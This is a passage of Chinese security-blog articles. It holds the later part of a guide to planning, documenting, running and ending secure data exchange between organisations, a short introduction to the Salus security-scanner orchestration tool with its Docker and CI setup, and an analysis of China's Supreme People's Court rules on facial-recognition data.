每个组织都有责任确保其各自系统和数据的安全,并采用事先协调好的方法进行数据交 换/共享,包括在整个交换/共享阶段组织之间应保持定期沟通。因此,各组织需要建立一个由参与组织的代表组成的联合规划小组,其中可能包括相关的管理和技术人员、业务人员、系统所有者、数据所有者、系统安全员、系统管理员、网络管理员和系统安全架构师等。联合规划小组可以是现有工作组的一部分,也可以专门为本次数据交换活动而组建。另外,获得高级领导的承诺和支持很重要。该联合规划小组负责协调规划过程的各个方面,并确保该过程具有明确的方向、明确的职责和充足的资源。规划小组也可以在规划阶段之后保持活跃,作为后续讨论涉及数据交换/共享问题的窗口。

此外,规划小组的成员需要与负责信息技术 (IT) 规划、配置管理和其他与数据交换/共享活动相关的同事进行协调。在大多数情况下,数据交换/共享是每个组织网络的一部分或全部。通过与相关利益攸关方协调数据交换/共享的规划,组织可以降低安全风险、减少冗余并提高效率。

4.1.2 步骤二:定义业务用例

组织共同确定数据交换/共享的目的,确定数据交换/共享将如何支持业务需求,并识别预期成本和风险。定义业务用例是建立数据交换/共享的基础。需要考虑的因素包括:可能的成本(例如人员配备、设备和设施)、预期收益(例如提高效率和集中访问数据)和潜在风险(例如安全、技术、隐私、法律、财务等)。

需要注意的是,可能会有隐私法规或政策对要交换/共享的数据进行限制。可能受到限制的数据包括个人身份信息(如姓名、电话、地址等)或商业机密信息(如承包商投标费率和商业秘密)。每个组织都应该咨询其隐私保护官或法律顾问,以确定参与数据交换的组织是否可以共享、转移或访问要交换的数据。

4.1.3 步骤三:开展安全风险管理

在交换/共享数据之前,每个组织都应确保已对相关系统和数据进行风险评估,并持续开展风险管理,风险管理可参考SP 800-37 《信息系统和组织的风险管理框架:安全和隐私系统生命周期方法》。

4.1.4 步骤四:确定具体的保护要求

联合规划小组确定并审查与数据交换/共享相关的技术、安全和管理问题。审查结果用于制定数据交换/共享安全协议。这些结果也可用于制定建立数据交换/共享的实施计划。

联合规划小组需要审议的问题如下:

适用的法律、法规、政策、标准和指南:参与组织可能会受到安全和隐私要求的约束而影响数据交换/共享。数据交换/共享的参与方有责任确保任何适用的法律、法规、政策、标准和指南得到解决。

风险评估:数据交换/共享的参与方应进行风险评估,确定要交换的数据遭到保密性、完整性和可用性损失后,造成的影响程度,以确保适当的保护级别和所需资源的可用性。发起方在协议中规定对数据的保护要求。如果已经进行了风险评估,联合规划小组需考虑现有结果是否适用,是否需要更新和再评估。

信息安全风险注意事项:

尽量减少交换/共享的数据,以降低数据在授权边界之外丢失机密性和完整性的风险;

如果要交换/共享高价值资产数据,注意考虑额外风险;

考虑数据交换/共享的可用性和弹性要求;

考虑参与组织间的系统互连是否会增加数据和系统的安全风险。

影响级别:分别针对三个安全目标(机密性、完整性和可用性)确定要交换的数据丢失会造成的影响。如果可用性损失的影响很大,但机密性损失的影响低,而完整性损失的影响中等,但可用性损失的影响低,则关于是否以及如何共享数据的决定可能会有所不同。准确识别数据的重要性对于确定数据的保护要求至关重要。

数据交换/共享方法:明确数据交换/共享的方法对确定数据保护要求也是必不可少。

对现有基础设施和运营的影响:确定参与组织当前使用的网络基础设施和系统架构是否足以支持数据交换/共享,或是否需要额外的基础设施组件(例如,通信线路、路由器、交换机)。如果需要其他组件,应确定安装和使用这些组件可能对现有基础架构产生的潜在影响。此外,确定数据交换/共享可能对当前运营产生的潜在影响(例如,数据流量的增加、新的培训要求以及对系统管理、运维的额外要求)。

依赖关系:确定参与数据交换/共享的一个或多个系统是否依赖于本次数据交换/共享活动才能继续运行。如果存在此类依赖关系,需要考虑的控制措施包括应急预案、系统或网络冗余,以及其他弹性需求。

特定硬件要求:确定支持数据交换/共享所需的硬件(例如,路由器、防火墙、交换机、服务器或工作台)。确定现有硬件是否足够?尤其是在预计未来数据增长的情况下,是否需要额外的组件。如果需要新硬件,应选择能够与现有硬件互操作的产品。

特定软件要求:确定支持数据交换/共享所需的软件,包括用于数据交换/共享管理和文件共享服务的软件,以及软件将安装在哪些硬件上(例如,防火墙、服务器、工作台和笔记本电脑)。 确定现有软件是否足够?是否需要额外的软件。如果需要新软件,应选择能够与现有软件互操作的产品。

用户社区:确定能够访问交换/共享数据的用户群组。确定是否要求用户具有特定的就业状况或国籍要求,以及需要何种级别的背景或安全许可。设计一种方法来管理需要访问交换数据(包括用户身份)的用户信息。参与组织使用用户信息来开发和维护一个经批准的访问列表或用户数据库,这些用户有权访问交换/共享的数据。需要的安全措施包括:账户管理、访问控制、身份认证等。

服务和应用程序:确定每个组织作为数据交换/共享的一部分提供的任何信息服务,以及与这些服务相关的应用程序。服务的示例包括电子邮件、安全文件共享服务、身份验证服务和通用计算服务。

角色和职责:确定负责建立、维护或管理数据交换/共享的人员,以及与数据交换/共享有关的具体职责。人员包括项目经理、系统所有者、数据所有者、系统或数据库管理员以及系统安全员。

调度:为参与规划、建立和维护数据交换/共享活动制定一个时间表。同时,确定终止或重新授权交换的时间表和条件。例如,参与组织可能同意每年审查与交换相关的协议,以确定是否仍然需要交换,以及保护要求是否仍然足够。

成本和预算:确定规划、建立和维护互连所需的预期成本。 确定所有相关成本,包括人工、硬件、软件、通信线路、应用程序、设施、物理安全、培训和测试等,制定综合预算并确定如何在各参与数据交换的组织之间分配成本。

数据元素命名:如果数据交换/共享涉及数据库,确定参与组织使用的数据元素命名方案是否兼容,或者是否需要对数据库进行规范化,以便组织可以使用交换的数据。此外,确定如何识别和解决潜在的数据元素命名冲突。

数据所有权:确定交换/共享数据的所有权是否从发送方转移到接收方,或者发送方是否保留所有权,而接收方是保管人。并确定如何存储交换的数据,是否可以重用数据或将数据转移到第三方组织或系统,以及如何在不需要时销毁数据。

安全控制:确定安全控制措施,以保护交换/共享数据和系统处理、存储或传输数据的机密性、完整性和可用性。安全控制措施的制定是基于数据和相关系统的重要程度、组织风险承受能力以及风险评估结果来确定。推荐的安全控制措施如下:

职责分离:确定对数据交换/共享相关人员的管理,并分配相应的职责。可参考的职责分配示例包括审计、管理用户配置文件、管理配置和维护设备。 职责分离降低了单个个人可能对交换的数据,以及处理、存储或传输数据的系统造成损害的风险,无论是意外还是故意。

事件报告和响应:建立流程来报告和响应参与组织的技术或人员检测到的与数据交换有关的安全事件或异常和可疑活动。事件报告程序需符合适用的法律、法规、政策、标准和指南。确定何时以及如何相互通知可能影响数据交换的可疑活动或安全事件。确定需要报告的事件类型和报告中包含的信息,例如事件的原因、受影响的数据或应用,造成的影响。此外,确定需要协调响应的事件类型,并确定如何协调响应活动。建议可制定联合事件响应计划。

应急预案:有必要制定应急预案,以应对可能影响数据交换/共享的灾难或破坏性突发事件,尤其是在交换/共享具有中等或高影响数据的情况下。 组织决定如何相互通知此类突发事件、各组织将相互帮助的程度以及提供援助的条件。确定紧急联络点、确定是否将冗余合并到支持数据交换/共享的组件中,包括冗余互连点,以及如何检索备份数据。协调应急响应培训、测试和演习。

数据备份:确定交换/共享数据的备份和存储要求。如果需要备份,应确定需要备份的信息类型、备份频率(例如,每天、每周或每月)以及负责备份的组织。 此外,确定如何执行备份以及如何将备份与应急预案流程相关联。

配置管理:确定如何协调可能影响数据交换/共享安全性和功能的配置变更的规划、设计和实施,例如升级硬件或软件、更改配置设置或添加服务。 与每个组织的相关人员建立一个群组,以审查可能影响数据交换/共享的预期变更。协调配置管理活动将降低实施变更的可能性。

行为准则:制定行为准则,明确规定被授权访问交换数据和系统处理、存储或传输数据的人员的职责和可操作行为。以书面形式记录规则并说明不一致行为或不遵守的后果,并通过安全意识培训强调行为准则。

培训和意识:为授权访问交换/共享数据的用户、以及处理、存储或传输数据的系统用户进行安全培训和意识教育。数据交换安全培训和意识教育可以纳入现有的组织培训活动中。在适当的情况下,要求用户签署一份确认表,表明对数据交换安全责任的理解。如果使用共享应用,需要确保用户知道如何正确使用它们。

4.1.5 步骤五:记录适当的协议

联合规划小组确定并记录管理交换信息所需的协议;处理、存储或传输信息的系统;相关组织和用户的角色和职责;根据对相关技术、安全和管理问题的审查(如 4.1.4 节所述),明确组织将遵守的协议条款,以及其他适当的要求。可能需要多种类型的协议,例如服务水平协议、通信协议和保密协议等。

下表反映了基于数据交换/共享类型或方法(行)以及数据丢失的影响程度(列)可能需要的协议,提供了初步指导以帮助组织确定最合适的协议。

1628340838_610e82669f97e20e3b14c.png!small?1628340839275

由于协议本身可能包含中等影响或更高影响的数据,因此根据影响级别处理、存储和传输协议,以防止通信过程中数据被盗窃、篡改或破坏。

(1)互连安全协议(ISA)

互连安全协议 (ISA) 是一份文件,规定了在两个或多个系统之间建立、操作和维护互连的技术和安全要求。ISA 还支持组织之间的谅解备忘录/协议 (MOU/A)。具体来说,ISA 记录了连接系统的要求;描述了保护交换数据及处理、存储或传输数据的系统所需的安全保护要求和控制措施;包括互连的网络拓扑图;并为参与组织提供签名行。当通过系统互连方式进行数据交换/共享时,应选择该协议。

(2)谅解备忘录及协议(MOU/A)

MOU/A 通常与 ISA 一起应用于数据交换/共享。一般来说,谅解备忘录是参与组织之间的合作意向声明,通常说明合作的目标、目的;详细说明协议的条款和条件;概述实现目标或目的所需的操作。谅解协议最常用于解决各方之间的财务责任和义务。虽然谅解协议 不承担资金责任,但它可以指定承担资金责任的组织。

为支持数据交换/共享,谅解备忘录及协议共同解决如下问题:

数据交换/共享的目标和目的;

每个组织的相关权限和职责;

以安全方式交换/共享数据的协议和条件,包括可接受的交换/共享数据的使用;

交换/共享所涉及的财务责任;

中止或重新授权数据交换/共享的时间表。

谅解备忘录和谅解协议不包括有关如何建立或维护数据交换/共享的技术细节或交换的具体安全要求;如果数据交换/共享活动中,不涉及相关的财务责任问题,则可以不使用谅解协议(MOA)。

(3)数据交换/共享协议

数据交换/共享协议是一份文件,规定了交换/共享数据的安全保护要求和责任。类似于 ISA,但不包括与互连相关的技术细节。具体来说,数据交换/共享协议描述了保护交换/共享数据以及处理、存储或传输数据的系统所需的保护要求和安全控制措施,并为参与组织提供了签名行。

(4)服务水平协议

服务水平协议 (SLA) 代表服务提供商与一个或多个客户之间的承诺,并涉及服务的特定方面,例如责任、服务类型等详细信息、预期的性能水平(例如,可靠性、可接受的质量、 和响应时间),以及报告、解决和终止的要求。SLA通常是正式合同的一部分。当数据交换/共享活动的影响程度为中等或高等级时,可以使用SLA 进行数据交换/共享。

(5)用户协议、访问协议和用户许可协议

用户协议、访问协议和用户许可协议是面向用户的协议,类似于行为准则,指定用户在交换/共享数据或访问包含交换/共享数据的文件或系统时的责任。协议中规定的用户责任可能包括但不限于允许用户对数据做什么、如何使用数据以及数据是否可以传输给其他方。有权访问数据的用户在获得数据访问权限之前阅读并同意协议以确认接受和理解。当被交换/共享的数据重要性为中等或高影响等级时,可以使用用户协议、访问协议和用户许可协议。

(6)保密协议

保密协议 (NDA) 描述了签署方同意不向任何其他方发布或泄露的特定信息、材料或知识。NDA可以在规定的时间范围内有效,也可以是无限期的。当被交换/共享的数据的保密性很高或属于个人身份信息时,建议使用保密协议进行数据交换/共享。

(7)组织定义的其他类型协议

合同、互联网服务协议或其他组织定义的协议也可应用于数据交换/共享。为支持业务需求,组织可能会签订机构间/或组织间协议,这些协议并非特定于数据交换/共享,但可能包含了交换/共享数据的需求。如果需要数据交换/共享来支持另一项协议,则组织应确定要交换的数据的特定保护需求和相关协议需求。

(8)登录追踪工具

追踪工具提供了一种记录和追踪授权边界外数据交换/共享的方法。追踪工具的示例包括但不限于内部电子表格或数据库;治理、风险和合规 (GRC) 工具或其他自动化工具; 并在系统安全规划中保持最新的控制实施信息。追踪数据交换/共享的要求可能会作为其他类型协议(如,ISA和IEA)的一部分被提出。

4.1.6 步骤六:批准或拒绝数据/共享交换

联合规划小组将起草的协议提交给每个参与组织的相关领导或风险管理官员,并请求批准数据交换/共享活动。相关领导或风险管理官员收到后审查协议及相关文件或程序。根据审查结果决定以下事项之一:

批准数据交换/共享;

拒绝数据交换/共享。

如果相关领导或风险管理官员接受协议,则需要签署文件并注明日期,从而批准数据交换/共享活动。参与组织根据组织存档政策和程序保留这些协议,并通知其他相关人员该活动已获批准。

如果协议被领导或风险管理官员拒绝,他们将提出解决方案或指定在批准之前要完成的额外要求,包括实施额外的安全控制。此外,还规定了完成任务的时间表。联合规划小组努力满足要求,然后重新提交更新的数据安全协议。

4.1.7 紧急交换/共享数据

有时可能会出现紧急情况,需要立即交换/共享数据。当时间不允许遵循既定的数据交换/共享安全管理流程时,仍然可以对数据交换/共享进行管理和控制。例如,在交换之前,组织应明确处理和保护数据的说明、对数据访问的限制、用户访问或保密协议等。

数据或系统所有者应记录紧急交换/共享的理由以及参与紧急交换/共享的角色和特定个人,如果紧急交换/共享成为经常性或永久性的交换/共享,参与组织应在初始紧急交换/共享后记录数据交换/共享安全管理过程并持续完善管理措施。如果紧急交换/共享是孤立事件,参与组织应确保对数据进行与风险相称的安全保护,并订立适当的协议进行后续跟进。

4.2 建立数据交换/共享
数据交换/共享活动经规划批准后,方可实施。本小节提供了建立数据交换/共享的推荐步骤,本阶段应完成的内容如下:

1628340907_610e82ab4b9718f2fbc94.png!small?1628340907761

4.2.1 步骤一:制定实施计划

为了确保数据安全地交换/共享,联合规划小组应制定数据交换/共享实施计划。实施计划的目的是将数据交换/共享工作的所有方面集中在一份文件中,并阐明将如何实施协议中规定的相关技术要求。完善的实施计划将极大地提高数据交换/共享的安全性和成功性。

实施计划包含的内容如下:

描述数据交换/共享活动所涉及的相关系统;

确定要交换/共享的数据的影响级别;

确定负责建立和维护数据交换/共享的人员并指定他们的职责;

确定实施任务和流程;

确定并描述为保护交换/共享数据的机密性、完整性和可用性而实施的安全控制措施;

提供控制措施评估和测量标准,以确保数据被安全地交换;

指定对用户的培训要求,包括培训计划;

引用或包括所有相关文档,例如系统安全计划、设计规范和标准操作流程。

4.2.2 步骤二:执行实施计划

在规划小组的成员制定、审查和批准实施计划后,该计划就可以执行了。下面提供了用于实施数据交换/共享的推荐任务。

(1)安装或配置硬件和软件

可能需要安装新的硬件和软件或配置现有的硬件和软件以支持数据交换/共享活动。

(2)实施或配置安全控制

如果安全控制不到位或配置不当,建立数据交换/共享的过程可能会使系统暴露给未经授权的人员访问。因此,第一步是按照协议和实施计划中的规定实施适当的安全控制措施或配置现有安全控制措施。

(3)集成应用程序

为支持数据交换/共享的服务需要集成应用程序或协议。示例包括但不限于数据库应用程序、电子邮件、Web 浏览器、应用程序服务器、身份认证服务器、域名服务器、开发工具、编辑程序和通信程序。

(4)实施操作并安全测试

进行评估以确定支持数据交换/共享的设备是否正常运行,并且未授权用户没有明显的方法可以规避或破坏安全控制。测试跨交换的应用程序之间的接口,并模拟数据流量,以在接收端验证正确的数据接收。如果可以,应在隔离的非操作环境中进行测试以避免影响系统。记录测试结果,并将其与各组织批准的一组预先确定的操作和安全要求进行比较。确定结果是否满足双方商定的可接受的风险水平,以及是否需要采取其他应对措施。

(5)开展安全培训及意识教育

对所有参与管理、使用或操作数据的授权人员进行安全培训和意识培训。定期为特定用户提供安全培训,并为所有用户提供意识教育。将行为准则分发给所有接触交换数据的人员。确保人员知道如何报告可疑或禁止的活动,以及在遇到问题时如何请求帮助。

(6)更新系统安全计划

组织更新他们的系统安全计划和相关文件,以反映他们各自系统运行的安全环境变化。 此外,建议对更新计划中与数据交换/共享相关的部分进行相互审查。在数据交换/共享协议中应规定进行相互审查的细节。

建议系统安全计划应包括以下有关数据交换/共享的信息:

受影响系统的名称;

参与组织;

交换/共享方法;

授权管理人员的姓名和职务;

授权日期;

要交换/共享数据的描述/类型;

要交换/共享的各类数据的影响级别;

受影响系统的影响程度;

受影响系统的接口;

硬件清单;

软件清单;

管理数据交换/共享的安全问题和行为准则。

(7)开展安全评估和授权活动

建立数据交换/共享活动可能会带来相关系统的重大变化。在进一步进行之前,每个参与组织都应评估并授权各自的系统,以确保安全风险保持在可接受的水平。

4.2.3 步骤三:启动数据交换/共享

按照规定的准则,启动供各方使用的数据交换/共享活动。建议各组织在商定的期限内密切监视交换/共享活动,以确保其正常和安全地运行。并且仔细、频繁地分析审计日志,以及监控用户请求的帮助类型。记录并及时解决出现的任何脆弱性或问题。

4.3 维护数据交换/共享
一旦建立数据交换/共享活动,就应对其积极维护,以确保数据交换/共享安全。本小节描述了维护数据交换/共享安全的推荐活动,如图下图所示:

1628340932_610e82c4b65aeda9ed276.png!small?1628340933242

4.3.1 保持清晰的沟通渠道

参与数据交换/共享的组织必须建立明确的沟通渠道并定期沟通,这一点至关重要。开放的沟通渠道有助于确保数据交换/共享和与之相关的互连得到适当维护,并且确保安全控制措施持续有效。开放式沟通还有助于及时管理活动的变化,比如,系统的变更,另外,保持清晰的沟通渠道将提高安全事件响应速度。

指定人员之间的沟通是通过使用与数据交换/共享相关的协议中规定的流程来完成的。沟通的主题包括但不限于以下内容:

初始协议和协议变更;

指定管理和技术人员的变动;

与建立和维护数据交换/共享有关的其他活动;

可能影响数据交换/共享的管理活动的变化;

可能影响与数据交换/共享相关的系统和数据安全的事件;

导致数据交换/共享中断的突发事件;

数据交换/共享活动的终止;

数据交换/共享恢复计划。

4.3.2 维护系统和系统组件

参与组织应明确对数据交换/共享活动涉及的系统和系统组件进行维护。

4.3.3 管理用户账号

采取访问控制、身份验证和人员安全等控制措施,主动管理与数据交换/共享活动相关的用户帐户。

4.3.4 开展安全评估

每当发生重大变更时,参与组织应根据商定的频率对支持数据交换/共享实施的安全控制措施进行评估,或者建立持续的监测计划,以确保控制措施有效运行。安全评估可由一个或所有参与组织的指定审计机构或独立第三方进行。

4.3.5 分析事件日志

应根据参与组织商定的频率对数据交换/共享活动涉及的系统和系统组件的事件日志进行分析,以检测和跟踪异常或可疑活动。

4.3.6 报告和响应安全事件

参与数据交换/共享的组织应相互通知已发现的安全事件或可疑安全事件。各组织根据各自的事件响应流程采取适当的步骤来隔离并响应此类事件。根据事件的类型和严重程度,组织可能需要协调事件响应活动,甚至终止数据交换/共享活动。数据交换/共享的适用协议规定了每个参与组织的事件响应的角色和责任,以及事件通知和紧急终止流程。

4.3.7 协调应急预案活动

组织协调应急预案培训、测试和演习,以最大限度地减少灾难和其他可能损坏数据交换/共享系统或危及共享数据的机密性、完整性或可用性的突发事件带来的影响。建议各组织可根据现有的应急预案制定联合预案。

4.3.8 管理配置变更

有效的配置管理对于维护数据交换/共享安全至关重要。每个组织都会建立一个变更控制委员会 (CCB) 或类似的机构来审查和批准对其各自系统的变更计划,例如升级软件或添加服务。建议在隔离的非操作环境中测试计划的变更,以避免影响实际系统。此外,应以书面形式将变更计划通知其他参与方,并允许参与组织参与该过程。一般情况下,此类变更的目的是改进数据交换/共享的操作和安全性,例如通过添加新功能、改进用户界面和消除(或减轻)已知漏洞,尽管如此,在实施变更之前,组织应仔细审查变更,并在变更完成后管理和跟踪变更。

4.3.9 审查和更新系统安全计划和适用协议

系统安全计划、适用协议(例如 ISA、MOU/MOA、IEA 和访问协议)以及与数据交换/共享有关的其他相关文件,都应根据参与组织商定的频率进行定期评审和更新,或在与数据交换/共享有关的系统发生重大变化时进行评审和更新。

4.3.10 审查是否需要继续进行数据交换/共享

根据参与组织商定的频率审查继续进行数据交换/共享的业务情况,判断是否需要继续进行数据交换/共享。如果不再需要进行数据交换/共享,则按照终止计划实施相关流程。

4.4 终止数据交换/共享
本小节主要介绍了终止数据交换/共享的流程,如下图所示。应尽可能有条不紊地中断信息交换,避免导致系统中断。

1628340953_610e82d9adfaf45535469.png!small?1628340954187

4.4.1 终止计划

停止数据交换/共享的决定涉及相关的管理、安全和技术人员,并基于合理的理由,例如一个或多个参与者的持续安全故障或缺乏继续交换/共享数据的业务需求。在终止数据交换/共享之前,发起方应以书面形式通知其他各参与方,并等待收到确认回执。该书面通知描述了终止数据交换/共享的原因,提供了终止的预计时间表,并确定了将进行终止的技术和管理人员。

组织可能有多种原因停止数据交换/共享,包括但不限于:

改变了使命或业务需求;

安全评估失败,比如安全风险上升到了不可接受的水平;

无法遵守协议的技术规范;

无法遵守协议的条款和条件;

成本考虑,包括维护数据交换/共享所增加的成本;

系统配置或设备物理位置的变化。

合理安排终止数据交换/共享的时间,以便为内部业务规划留出足够的时间,并允许参与者进行适当的准备,包括通知受影响的用户以及确定继续运营的替代资源。此外,各组织的管理和技术人员协调确定停止数据交换/共享的处理和保障工作,包括清除和覆盖中等或高影响级别数据,根据已知的活动流程,当对用户的影响最小时,停止数据交换/共享。中断后,各组织应更新受影响的系统安全计划和相关文件,以反映其各自系统运行的安全环境发生了变化。

4.4.2 紧急终止

如果参与组织检测到攻击、入侵企图或其他利用或危害数据交换/共享所涉及的信息或系统的意外事件,可能需要在不向另一方提供书面通知的情况下突然终止数据交换/共享活动。只有在极端情况下,并且只有在与相关的技术负责人和高级管理人员协商后才会采取这种非常措施。

紧急终止的决定由系统所有者做出并由技术人员执行。系统所有者或指定人员应通过电话或其他口头方式通知参与方的紧急联系人,并收到已知确认。各参与方根据事件响应流程隔离和调查事件,包括进行影响评估、审查审计日志和安全控制措施。如果事件是攻击或入侵企图,当事各方应通知相关执法部门,并尽一切努力保全证据。

4.4.3 恢复连接

组织可以选择在数据交换/共享中断后再次恢复数据交换/共享。恢复数据交换/共享的决定是基于中断的原因和持续时间。例如,如果数据交换/共享活动是因攻击、入侵或其他突发事件而中断,则各方实施适当的对策以防止问题再次发生,并修改协议以应对任何需要注意的问题。另外,如果数据交换/共享已长期中断(例如,几个月或更长时间),则各参与方对其各自的系统应进行风险评估,并重新审查所有相关的规划和实施计划,包括制定新的协议。

五、总结导图
1628340990_610e82feae46e002780e6.png!small?1628340991237

本文作者:安全妹儿jing, 属于FreeBuf原创奖励计划,未经许可禁止转载

Salus:一款功能强大的安全扫描协调工具

Salus概述
Salus是一款功能强大的安全扫描协调工具,它可以帮助广大研究人员自动判断和选择需要使用哪一款安全扫描工具。我们可以通过Docker守护进程来对一个代码库运行Salus,而Salus则会自动判断适合运行哪一个扫描器,然后运行目标扫描器之后会将扫描结果输出给研究人员。Salus所支持的大部分扫描器都是成熟的开源项目,并且已经直接包含在了Salus项目之中。

Salus对于CI/CD管道特别有用,因为它成为了一个集中的地方来协调跨存储库的扫描。通常,扫描器会对每一个项目从代码库级别进行扫描。这也就意味着,在进行项目组织级别的切换时,就必须更改扫描器的运行方式,并且每一个库都需要更新。但在Salus的帮助下,我们可以直接更新Salus,而所有构建都将立即继承更改。

Salus支持强大的配置,允许全局默认值和局部调整。而且Salus可以报告每个存储库的细粒度信息,比如包含哪些包或存在哪些问题等等。

工具下载
广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/coinbase/salus.git
工具使用
在命令行终端中切换至该项目的根目录:

cd /path/to/repo
然后在该项目的根目录下运行下列命令:

docker run –rm -t -v $(pwd):/home/repo coinbase/salus
支持的扫描器
Bandit

Brakeman

semgrep

BundleAudit

Gosec

npm audit

yarn audit

PatternSearch

Cargo Audit

依赖跟踪
Salus还可以解析依赖文件,并报告所使用的代码库及版本信息。当前版本的Salus支持下列语言:

Ruby

js

Python

Go

Rust

CircleCI整合
Salus可以通过使用一个公共Orb来跟CircleCI整合。所有的Salus配置选项都支持,默认配置跟Salus本身配置相同。

CircleCI config.yml样例:

version: 2.1

orbs:

salus: federacy/salus@3.0.0

workflows:

main:

jobs:

– salus/scan
GitHub Action整合
Salue还可以跟GitHub Action整合一起使用。

.github/workflows/main.yml样例:

on: [push]

jobs:

salus_scan_job:

runs-on: ubuntu-latest

name: Salus Security Scan Example

steps:

– uses: actions/checkout@v1

– name: Salus Scan

id: salus_scan

uses: federacy/scan-action@0.1.1
在自己的项目中使用Salus
我们根据给定的CI,可以更新配置文件并运行Salue:

docker run –rm -t -v $(pwd):/home/repo coinbase/salus
项目地址
Salus:【GitHub传送门】

许可证协议
本项目的开发与发布遵循Apache 2.0开源许可证协议。

参考资料
https://github.com/coinbase/salus/blob/master/docs/development.md

https://github.com/coinbase/salus/blob/master/docs/architecture.md

https://github.com/federacy/scan-action

https://github.com/coinbase/salus/blob/master/integrations/circleci/README.md

最高院关于人脸识别的司法解释,对企业的影响与合规建议

前言
“人脸识别”作为人工智能的应用之一,近些年随着技术发展,已逐步渗透到日常生活的方方面面。

大到疫情防控、城市治安,小到手机客户端的登录解锁,都能见到人脸识别的应用,但也引发了一系列个人信息保护问题。一些经营者滥用人脸识别技术侵害自然人合法权益的事件频发,比如,有些知名门店使用“无感式”人脸识别技术在未经同意的情况下擅自采集消费者人脸信息,分析消费者的性别、年龄、心情等,进而采取不同营销策略。又如,有些物业服务企业强制将人脸识别作为业主出入小区或者单元门的唯一验证方式,要求业主录入人脸并绑定相关个人信息,未经识别的业主不得进入小区。社会公众对人脸识别技术滥用的担心不断增加,强化人脸信息保护的呼声日益高涨。

在此背景下,最高人民法院此前发布了《关于审理使用人脸识别技术处理个人信息相关民事案件适用法律若干问题的规定》(以下简称《规定》),对如何规范人脸识别技术的应用提供了司法指导。本文将结合《信息安全技术 个人信息安全规范》(以下简称《个安规范》)、《信息安全技术 人脸识别数据安全要求(征求意见稿)》(以下简称《人脸识别要求》)对该《规定》进行解读,并就相关企业进行合规建议。

一、将人脸信息界定为“生物识别信息”
《规定》第一条第三款规定,本规定所称人脸信息属于民法典第一千零三十四条规定的“生物识别信息”。

人脸信息属于敏感个人信息中的生物识别信息,是生物识别信息中社交属性最强、最易采集的个人信息,具有唯一性和不可更改性,一旦泄露将对个人的人身和财产安全造成极大危害,甚至还可能威胁公共安全。本次《规定》将人脸信息界定为生物识别信息,意味着所有对生物识别信息和个人敏感信息的规制都可适用于人脸信息。

《信息安全技术 个人信息安全规范》(以下简称《个安规范》)第6.3条规定了个人信息控制者在对个人敏感信息传输和存储时的要求,包括在传输和存储个人敏感信息时,采用加密等安全措施;将个人生物识别信息应与个人身份信息分开存储且原则上不应存储原始个人生物识别信息(如样本、图像等),但可仅存储个人生物识别信息的摘要信息,或在采集终端中直接使用个人生物识别信息实现身份识别、认证等功能,或在使用面部识别特征、指纹、掌纹、虹膜等实现识别身份、认证等功能后删除可提取个人生物识别信息的原始图像。

而在个人信息共享、转让问题上,《个安规范》要求个人生物识别信息原则上不应共享、转让。但个人信息控制者确因业务需要,确需共享、转让的,应单独向个人信息主体告知目的、涉及的个人生物识别信息类型、数据接收方的具体身份和数据安全能力等,并征得个人信息主体的明示同意。

而在个人信息公开披露方面,《个安规范》反对任何情况下的公开披露个人生物识别信息,公安部的《互联网个人信息安全保护指南》也规定“不得公开披露个人生物识别信息“。

但本次最高法的《规定》并未对“人脸信息”进行界定。《信息安全技术 人脸识别数据安全要求(征求意见稿)》(以下简称《人脸识别要求》)提出了“人脸图像”、“人脸特征”与“人脸识别数据”三个概念范畴。但本次《规定》是否对此划分予以肯定仍有待于后续司法工作的开展。

3.1 人脸图像 face image自然人脸部信息的模拟或数字表示。

注:人脸图像可通过设备收集,也可对视频、数字照片等进行处理后获得,主要包括可见光图像、非可见光图像(如红外图像)、三维图像等。

3.2 人脸特征 face feature从数据主体的人脸图像提取的反映数据主体的参数。

3.3 人脸识别数据 face recognition data人脸图像及其处理得到的,可单独或与其他信息结合识别特定自然人或特定自然人身份的数据。

二、明确了人脸信息处理者处理人脸信息的规则
一段时间以来,部分移动应用程序(APP)通过一揽子授权、与其他授权捆绑、“不点击同意就不提供服务”等方式强制索取非必要个人信息的问题比较突出。为从司法角度规范此类行为,《规定》根据民法典第1035条,在吸收个人信息保护立法精神、借鉴域外做法的基础上,明确了以下处理人脸信息的规则:

1.单独同意规则
第二条 信息处理者处理人脸信息有下列情形之一的,人民法院应当认定属于侵害自然人人格权益的行为:

(三)基于个人同意处理人脸信息的,未征得自然人或者其监护人的单独同意,或者未按照法律、行政法规的规定征得自然人或者其监护人的书面同意;

《规定》第2条第3项引入单独同意规则,即信息处理者在征得个人同意时,必须就人脸信息处理活动单独取得个人的同意,不能通过一揽子告知同意等方式征得个人同意。

最高法在答记者问时表示,人脸信息属于敏感个人信息,处理活动对个人权益影响重大,因此,在告知同意上,有必要设定较高标准,以确保个人在充分知情的前提下,合理考虑对自己权益的后果而作出同意。

2.强迫同意无效规则
第四条 有下列情形之一,信息处理者以已征得自然人或者其监护人同意为由抗辩的,人民法院不予支持:

(一)信息处理者要求自然人同意处理其人脸信息才提供产品或者服务的,但是处理人脸信息属于提供产品或者服务所必需的除外;

(二)信息处理者以与其他授权捆绑等方式要求自然人同意处理其人脸信息的;

(三)强迫或者变相强迫自然人同意处理其人脸信息的其他情形。

自愿原则是民法典的基本原则之一,个人的同意必须是基于自愿而作出。特别是对人脸信息的处理,不能带有任何强迫因素。如果信息处理者采取“与其他授权捆绑”、“不点击同意就不提供服务”等做法,会导致自然人无法单独对人脸信息作出自愿同意,或者被迫同意处理其本不愿提供且非必要的人脸信息。信息处理者超出提供产品或者服务所必需的范畴获得的授权同意,人民法院对此不予认可。而基于个人同意处理人脸信息的,只要信息处理者不超出自然人同意的范围,原则上该行为就不构成侵权行为。

而对于信息处理者采取“与其他授权捆绑”、“不点击同意就不提供服务”等方式强迫或者变相强迫自然人同意处理其人脸信息的,《规定》对此采取从严认定的思路。信息处理者据此认为其已征得相应同意的,人民法院不予支持。

同时,最高法在答记者问时明确表示《规定》第4条不仅适用于线上应用,对于需要告知同意的线下场景也同样适用。

三、对强制刷脸说“不”
第十条 物业服务企业或者其他建筑物管理人以人脸识别作为业主或者物业使用人出入物业服务区域的唯一验证方式,不同意的业主或者物业使用人请求其提供其他合理验证方式的,人民法院依法予以支持。

物业服务企业或者其他建筑物管理人存在本规定第二条规定的情形,当事人请求物业服务企业或者其他建筑物管理人承担侵权责任的,人民法院依法予以支持。

伴随着人脸识别技术应用场景的不断丰富,一些小区引入人脸识别系统,用“刷脸”代替“刷卡”。实践中,存在部分小区物业强制要求居民录入人脸信息,并将人脸识别作为出入小区的唯一验证方式,这种行为违反“告知同意”原则。对于此问题,本次《规定》作出了回应。

